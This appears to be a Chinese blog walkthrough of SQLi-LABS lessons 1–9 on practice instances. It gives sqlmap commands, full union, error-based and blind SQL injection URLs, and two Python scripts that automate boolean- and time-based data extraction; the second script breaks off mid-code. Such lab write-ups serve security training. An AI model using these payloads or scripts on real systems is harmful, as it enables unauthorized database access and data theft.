0


SQL注入【SQLi-LABS Page-1(Basic Challenges Less1-Less22)】

文章目录

前言

本篇博客用于记录

  1. SQLi

实验中第一阶段,即基础的

  1. sql

注入,包括了GET和POST联合注入、时间盲注、布尔盲注、报错盲注、文件上传注入等并且内含一些笔者写的自动化注入代码~

  1. sqli-labs github

https://github.com/Audi-1/sqli-labs

大家没思路的时候就可以看看,就相当于白盒测试

在这里插入图片描述

  1. UNION

操作符用于合并两个或多个

  1. SELECT

语句的结果集。请注意,

  1. UNION

内部的

  1. SELECT

语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条

  1. SELECT

语句中的列的顺序必须相同。**所以我们在使用

  1. UNION

联合查询的时候需要先通过

  1. order by

来测试这个

  1. SQL

的查询列数**

  1. Mysql

有一个系统数据库

  1. information_schema

,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。

  • ①猜数据库select schema_name from information_schema.schemata
  • ②猜某库的数据表select table_name from information_schema.tables where table_schema=’xxxxx’
  • ③猜某表的所有列Select column_name from information_schema.columns where table_name=’xxxxx’
  • ④获取某列的内容Select xxx from xxx

常用查询信息:

  • database() # 在用的数据库名
  • user() # 用户信息
  • version() # 数据库版本信息
  • @@basedir # 数据库安装路径
  • @@version_compile_os # 操作系统版本

SQL注入的流程:

一般是联合>堆叠>盲注>时间


Mysql中一些函数:

sqlmap

  1. sqlmap

常用命令:

  1. sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
  2. sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
  3. sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
  4. sqlmap -u “注入地址” -v 1-D “数据库” –-tables# 列举数据库的表名
  5. sqlmap.py -u “注入地址” -v 1-T “表名” -D “数据库” –-columns# 获取表的列名
  6. sqlmap.py -u “注入地址” -v 1-T “表名” -D “数据库” -C “字段” –-dump# 获取表中的数据

注意的点

  • B:Boolean-based-blind(布尔型注入)
  • U:Union query-based (联合注入)
  • E:Error-based (报错型注入)
  • S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
  • T:Time-based blind (基于时间延迟注入)
  • -–batch 默认选项运行
  • --dbs 爆破数据库
  • -–technique 指定sqlmap使用的检测技术
  1. sqlmap -u "http://localhost/Less-1/?id=1"--dbs --batch --technique B

按理说应该所有类型的注入都跑一次

less-1(基于错误的GET单引号字符型注入)

在这里插入图片描述
这里告诉我们让我们传一个一个参数为

  1. id

的值,于是我传入

  1. 1
  2. 1
  3. 1 ,即:
  1. http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1

在这里插入图片描述
于是我们猜测这里存在注入(其实标题就告诉了是单引号注入),于是我们在末尾输入

  1. '

  1. "

我们发现前者会出现

  1. error

,而后者没有问题

在这里插入图片描述
注意的是这里不是双引号而是两个单引号

  1. near ''1'' LIMIT 0,1' at line 1

这里多了的这个单引号就是第三个位置,也就是我们输入的单引号,于是我们大概能猜到这个

  1. sql

语句是通过单引号闭合的,于是我们开始使用上面的注入过程:
先用二分法通过

  1. order by

分析出

  1. sql

语句的列数为

  1. 3
  1. http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1' order by 3%23

在这里插入图片描述
在这里插入图片描述
①开始爆库:

  1. http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

在这里插入图片描述

  1. ctftraining,information_schema,mysql,performance_schema,security,test

我们发现

  1. ctftraining

最可疑,于是对其进行爆表操作

②开始爆表:

  1. http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

在这里插入图片描述
其中我们关心

  1. flag

于是对其进行爆列

③开始爆列:

  1. http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23

在这里插入图片描述
我们发现

  1. flag

表中只有一列

  1. flag

,于是我们将这一列的数据爆出来

④爆数据:

  1. http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(flag),3 from ctftraining.flag%23

在这里插入图片描述
得到

  1. flag{94fb0e75-3801-40c8-9943-5a637e395448}

less-2(基于错误的GET整型注入)

在这里插入图片描述
还是和上面一样的流程,不过这里是整形注入,我们还是在末尾传入一个单引号看看

  1. '

发现抱错:

  1. You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

这里只有单引号,没有我们传入的

  1. id

的值了,于是我们猜测此时的

  1. SQL

查询语句如下:

  1. Select*fromTABLEwhere id =1';

于是我们可以知道,这里的

  1. id

的值在

  1. SQL

语句中是作为一个整数类型的,即:

  1. Select * from TABLE where id = (some integer)

我们

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=2

会发现没有查询数据,而

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=1

发现有数据返回,于是我们得出结论,

  1. SQL

语句中并没做任何处理,于是我们开始上面的联合查询流程:

① 爆库

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata%23

在这里插入图片描述

②爆表

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

在这里插入图片描述

③爆列:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

在这里插入图片描述

④爆数据

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(flag),3 from ctftraining.flag%23

在这里插入图片描述

最后得到:

  1. flag{b9ea0bc6-7cb1-428f-881b-4a8550cae347}

less-3(基于错误的GET单引号变形注入)

同样的,我们首先加一个单引号测试一下

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=1'

在这里插入图片描述
得到一个反馈的信息:

  1. You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

注意这里有一个

  1. )

,于是我们猜测

  1. SQL

语句可能是:

  1. Select login_name,select password fromtablewhere id=('our input here')

于是我们开始构造注入:

  1. ?id=1')%23

,发现成功注入

在这里插入图片描述
于是我们开始

  1. SQL

注入:

①开始爆库:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata%23

②开始爆表:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

③爆列:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

④爆数据 :

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(flag),3 from ctftraining.flag%23

less4(基于错误的GET双引号字符型注入)

其实标题就很明显了,于是我们在传入参数的末尾加上双引号:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1"

我们会得到一个报错:

  1. You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

这里其实就是和第一个单引号注入类似的报错,只不过这里是双引号,并且这里有

  1. )

,于是我们可以猜测,参数是通过双引号加上

  1. )

括号包裹的,那么

  1. SQL

语句可能是:

  1. $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

于是我们试着注入:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1")%23

在这里插入图片描述
发现是能够成功注入的,于是我们重复上面的流程即可:

①开始爆库:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata%23

②开始爆表:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

③爆列:

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

④爆数据 :

  1. http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(flag),3 from ctftraining.flag%23

在这里插入图片描述

less5(基于GET单引号双注入-报错盲注)

这道题可以使用布尔盲注,不过我这里就不展示了,因为布尔盲注有点麻烦,不过可以二分布尔加快注入,当然可以通过脚本或者

  1. burpsuit

进行注入

关于报错盲注我这里简单介绍一下:

  1. 众所周知,盲注并不会返回错误信息,使得sql注入的难度提高。而报错型注入则是利用了MySQL的第8652bug Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;当然其他类型的数据库也存在相应的问题,在此我们不提。

报错盲注分类:

  • 基于group by报错注入

注入公式:

  1. ?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a%23

eg:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select user()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

  • 基于xpath函数报错注入( 5.1.1 5.1.1 5.1.1 及以上,extractvalueupdatexml)

注入公式①:

  1. ?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句),0x7e))%23

注入公式②:?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)%23

eg1:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))%23

在这里插入图片描述
eg2:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
  • 基于double数值类型超出范围报错注入( 5.5.5 5.5.5 5.5.5 及以上)

注入公式:

  1. ?id=1' union select (exp(~(select * FROM(你希望的查询语句)a))),2,3%23
  • 基于bignt溢出报错注入

注入公式:

  1. ?id=1' union select (!(select * from (你希望查询的语句)x) - ~0),2,3%23
  • 基于数据重复性报错注入

注入公式:

  1. ?id=1'union select 1,2,3 from (select NAME_CONST(查询内容,1),NAME_CONST(查询内容,1))x%23

eg:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x%23

在这里插入图片描述

此处重复了version,所以报错。


首先还是先输入

  1. 1

看一下

在这里插入图片描述
可以看到此时没有像上面出现的回显数据的情况,对应的就是账号登录的情景,我们还是,我们输入

  1. 1'

发现这里存在单引号注入

在这里插入图片描述
在这里插入图片描述
于是我们先通过

  1. order by

进行列数查询:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' order by 3%23

查询结果为三列,于是我们开始爆数据流程

  • 爆数据库名:

先查询数据库的个数,我们通过

  1. count

统计

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

发现当前数据库有六种,于是我们依次查询

查询语句:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

我们通过调整

  1. limit

参数发现有如下六个数据库:

  1. ctftraining,information_schema,mysql,performance_schema,security,test

很显然,我们需要将目光放在

  1. ctftraining

上,这就回到了我们上面的流程中了,只不过这里不能显示多行的查询

  • 爆表名:

先查询

  1. ctftraining

数据库中表的数量,方便后续调整

  1. Limit

参数

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

发现有三个表,于是我们开始调整参数,爆出表名:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 1,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 2,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

也就是说我们这个数据库中存在:

  1. flag

  1. news

  1. users

三张表,很明显我们需要看看

  1. flag

表中是否存在

  1. flag
  • 爆列:

同样因为只能显示一行信息,我们先查询一下列数:

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

我们可以发现,只有一列,于是就是将这列的名字爆出来了

  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

  • 爆数据:
  1. http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

于是我们得到了

  1. flag{9f935943-ce36-457a-9af5-68f13a0efc6f}

less6(基于GET双引号双注入)

这道题目和上面几乎一样,只不过注入点变成了双引号

  1. "

,于是我简化一下流程:

在这里插入图片描述

我们同样使用

  1. group by

报错注入

  • 爆库

先看数据库个数:

  1. http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

然后一一列出:

  1. http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (schema_name) from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

发现

  1. ctftraining

数据库

在这里插入图片描述

  • 爆表

同样先看表的数量

  1. http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

然后一一爆出所有的表名:

  1. http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (table_name) from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

发现

  1. flag

表很可疑

在这里插入图片描述

  • 爆列

继续爆这个表的所有元素,同样先看有多少列:

  1. http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

发现只有一列

在这里插入图片描述

  • 爆数据

直接爆数据

  1. http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

less7(基于文件写入注入)

按理说这个应该是一个文件上传注入,不过不知为何执行文件上传语句后还是没用,于是我就用的

  1. sqlmap

做了,正确的文件上传做法:https://www.cnblogs.com/Timesi/p/16661422.html

简单描述一下sqlmap做法:

  • 我们先通过延时注入爆一下库名:
  1. python sqlmap.py -u"http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1"--dbs--batch-technique T

爆出了

  1. 6
  2. 6
  3. 6 个数据库:

在这里插入图片描述

  • 然后爆ctftraining数据库的表名
  1. python sqlmap.py -u"http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1"-D"ctftraining"--tables--batch

在这里插入图片描述

  • 接着去爆flag表的列名
  1. python sqlmap.py -u"http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1"-D"ctftraining"-T"flag"--columns--batch

在这里插入图片描述

  • 最后就是将数据爆出来了
  1. python sqlmap.py -u"http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1"-D"ctftraining"-T"flag"-C"flag"--dump--batch

在这里插入图片描述

  1. flag{2184e709-5663-45cf-bf25-80a2640676e7}

less8(基于GET单引号基于布尔盲注)

我们测试注入,发现

  1. http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=2%23

不回显,而

  1. http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=1%23

有回显,那么显然说明这里有注入,于是简单写一个脚本吧

  1. import requests
  2. import time
  3. import datetime
  4. import math
  5. """
  6. 【这个代码是一个bool类型的盲注】
  7. 需要注意的参数:
  8. 1.下面的payload是注入的方式
  9. 2.url是平台的地址
  10. 3.right_text是bool值为真的情况的页面包含的内容,假的话就不会回显
  11. 4.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
  12. 但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
  13. 的一些例如数据库名称或者是表的名称也很长
  14. 5.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度
  15. 即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,
  16. 97~122号为26个小写英文字母,python有个自带的string.printable
  17. 6.可以加一个延时操作例如sleep
  18. """
  19. url ="http://90819ab8-d92f-46a2-8dd7-21f222ef30cb.node4.buuoj.cn/Less-8/?id=1"
  20. p1 ="abcdefghijklmnopqrstuvwxyz0123456789}{-"
  21. payload="'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{b},1))<{a}--+ "
  22. right_text ="You are in"
  23. dbnum =0
  24. db_list=[]
  25. table_num =0
  26. table_list =[]
  27. column_num =0
  28. column_list =[]
  29. data_num =0
  30. data_list =[]defcount_db_num():global url
  31. global dbnum
  32. payload1 ="' and (select count(schema_name) from information_schema.schemata) = {mid}%23"
  33. low =1
  34. hig =100for i inrange(low,hig):
  35. url1 = url + payload1.format(mid = i)
  36. res = requests.get(url1).text
  37. if res.find(right_text)!=-1:
  38. dbnum = i
  39. print("database nums :",dbnum)breakdefshow_db_name():global db_list
  40. global dbnum
  41. global right_text
  42. global url
  43. payload2 ="' and (substr((select schema_name from information_schema.schemata limit {start},1),{begin},1))='{loc_key}'%23"for i inrange(dbnum):
  44. name =''for j inrange(1,30):
  45. fg =1for it in p1:
  46. url2 = url + payload2.format(start = i,begin =j,loc_key = it)
  47. res = requests.get(url2).text
  48. if res.find(right_text)!=-1:
  49. name = name + it
  50. fg =0breakif fg:breakprint("ID: ",i+1,"place dbname: ",name)
  51. db_list.append(name)defcount_table_num(db_name:str):global right_text
  52. global table_num
  53. global url
  54. payload1 ="' and (select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid}%23"
  55. low =1
  56. hig =100for i inrange(low,hig):
  57. url1 = url + payload1.format(db_name=db_name,mid = i)
  58. res = requests.get(url1).text
  59. if res.find(right_text)!=-1:
  60. table_num = i
  61. print("table nums : ",table_num)breakdefshow_table_name(db_name:str):global table_list
  62. global table_num
  63. global right_text
  64. global url
  65. payload2 ="' and (substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1))='{loc_key}'%23"for i inrange(table_num):
  66. name =''for j inrange(1,30):
  67. fg =1for it in p1:
  68. url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)
  69. res = requests.get(url2).text
  70. if res.find(right_text)!=-1:
  71. name = name + it
  72. fg =0breakif fg:breakprint("ID: ",i+1,"place table_name: ",name)
  73. table_list.append(name)defcount_column_num(table_name:str):global right_text
  74. global column_num
  75. global url
  76. payload1 ="' and (select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid}%23"
  77. low =1
  78. hig =30for i inrange(low,hig):
  79. url1 = url + payload1.format(table_name=table_name,mid = i)
  80. res = requests.get(url1).text
  81. if res.find(right_text)!=-1:
  82. column_num = i
  83. print("column num : ",column_num)breakdefshow_column_name(table_name:str):global column_list
  84. global column_num
  85. global right_text
  86. payload2 ="' and (substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1))='{loc_key}'%23"for i inrange(column_num):
  87. name =''for j inrange(1,30):
  88. fg =1for it in p1:
  89. url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)
  90. res = requests.get(url2).text
  91. if res.find(right_text)!=-1:
  92. name = name + it
  93. fg =0breakif fg:breakprint("ID: ",i+1,"place column_name: ",name)
  94. column_list.append(name)defcount_data_num(db_name:str,table_name:str,column_name:str):global right_text
  95. global data_num
  96. payload1 ="' and (select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid}%23"
  97. low =1
  98. hig =100for i inrange(low,hig):
  99. url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)#print("url1 = ",url1)
  100. res = requests.get(url1).text
  101. #print(res)if res.find(right_text)!=-1:
  102. data_num = i
  103. print("data num : ",data_num)breakdefshow_data_name(db_name:str,table_name:str,column_name:str):global data_list
  104. global data_num
  105. global right_text
  106. payload2 ="' and (substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}'%23"for i inrange(data_num):
  107. name =''for j inrange(1,100):
  108. fg =1for it in p1:
  109. url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)
  110. res = requests.get(url2).text
  111. if res.find(right_text)!=-1:
  112. name = name + it
  113. fg =0break#print("ID: ",i+1,"place data_name: ",name)if fg:breakprint("ID: ",i+1,"place data_name: ",name)
  114. data_list.append(name)
  115. count_db_num()
  116. show_db_name()
  117. check_id1 =int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))if check_id1 <=0or check_id1 >len(db_list):print("input id is error !")
  118. exit(0)
  119. count_table_num(db_list[check_id1-1])
  120. show_table_name(db_list[check_id1-1])
  121. check_id2 =int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))if check_id2 <=0or check_id2 >len(table_list):print("input id is error !")
  122. exit(0)
  123. count_column_num(table_list[check_id2-1])
  124. show_column_name(table_list[check_id2-1])
  125. check_id3 =int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))if check_id3 <=0or check_id3 >len(column_list):print("input id is error !")
  126. exit(0)
  127. count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])print("喵喵喵?")
  128. show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])

在这里插入图片描述

less9(基于GET单引号基于时间盲注)

首先还是做一些注入测试,发现并没有什么反馈,于是作弊看一眼源码:

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row=mysql_fetch_array($result);if($row){echo'<font size="5" color="#FFFF00">';echo'You are in...........';echo"<br>";echo"</font>";}else{echo'<font size="5" color="#FFFF00">';echo'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo"</br></font>";echo'<font color= "#0000ff" font size= 3>';}}else{echo"Please input the ID as parameter with numeric value";}

同时标题也写的很清楚,是一个单引号时间注入的题目,那就写一个时间注入的脚本吧,然后跑一跑(经过漫长的等待就能跑出来了,这里多说一下,注意

  1. payload

,错了的话贼难受)

于是我们稍作更改上面的脚本:

  1. import requests
  2. import time
  3. import datetime
  4. import math
  5. import string
  6. """
  7. 【这个代码是一个时间类型的盲注】
  8. 需要注意的参数:
  9. 1.下面的payload是注入的方式
  10. 2.url是平台的地址
  11. 3.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
  12. 但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
  13. 的一些例如数据库名称或者是表的名称也很长
  14. 4.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度,python有个自带的string.printable
  15. 即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,97~122号为26个小写英文字母
  16. """
  17. url ="http://8c3cbc57-740e-407d-a78a-2eb6d1d6e7c1.node4.buuoj.cn/Less-9/?id=1"
  18. p1 ="abcdefghijklmnopqrstuvwxyz0123456789}{-"
  19. payload="'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"
  20. dbnum =0
  21. db_list=[]
  22. table_num =0
  23. table_list =[]
  24. column_num =1
  25. column_list =[]
  26. data_num =0
  27. data_list =[]defcheck_url(url:str):try:
  28. res = requests.get(url,timeout =3)returnTrueexcept Exception as e:returnFalsedefcount_db_num():global url
  29. global dbnum
  30. payload1 ="'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))--+"
  31. low =1
  32. hig =100for i inrange(low,hig):
  33. url1 = url + payload1.format(mid = i)if check_url(url1):
  34. dbnum = i
  35. print("database nums :",dbnum)breakdefshow_db_name():global db_list
  36. global dbnum
  37. global url
  38. payload2 ="'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"for i inrange(dbnum):
  39. name =''for j inrange(1,30):
  40. fg =1for it in p1:
  41. url2 = url + payload2.format(start = i,begin =j,loc_key = it)if check_url(url2):
  42. name = name + it
  43. fg =0breakprint(name)if fg:breakprint("ID: ",i+1,"place dbname: ",name)
  44. db_list.append(name)defcount_table_num(db_name:str):global table_num
  45. global url
  46. payload1 ="'and if((select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid},1,sleep(5) )%23"
  47. low =1
  48. hig =100for i inrange(low,hig):
  49. url1 = url + payload1.format(db_name=db_name,mid = i)if check_url(url1):
  50. table_num = i
  51. print("table nums : ",table_num)breakdefshow_table_name(db_name:str):global table_list
  52. global table_num
  53. global url
  54. payload2 ="'and if(substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"for i inrange(table_num):
  55. name =''for j inrange(1,30):
  56. fg =1for it in p1:
  57. url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)if check_url(url2):
  58. name = name + it
  59. fg =0breakif fg:breakprint("ID: ",i+1,"place table_name: ",name)
  60. table_list.append(name)defcount_column_num(table_name:str):global column_num
  61. global url
  62. payload1 ="'and if((select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid},1,sleep(5))%23"
  63. low =1
  64. hig =30for i inrange(low,hig):
  65. url1 = url + payload1.format(table_name=table_name,mid = i)if check_url(url1):
  66. column_num = i
  67. print("column num : ",column_num)breakdefshow_column_name(table_name:str):global column_list
  68. global column_num
  69. payload2 ="'and if(substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"for i inrange(column_num):
  70. name =''for j inrange(1,100):
  71. fg =1for it in p1:
  72. url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)if check_url(url2):
  73. name = name + it
  74. fg =0breakif fg:breakprint("ID: ",i+1,"place column_name: ",name)
  75. column_list.append(name)defcount_data_num(db_name:str,table_name:str,column_name:str):global data_num
  76. payload1 ="'and if((select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid},1,sleep(5))%23"
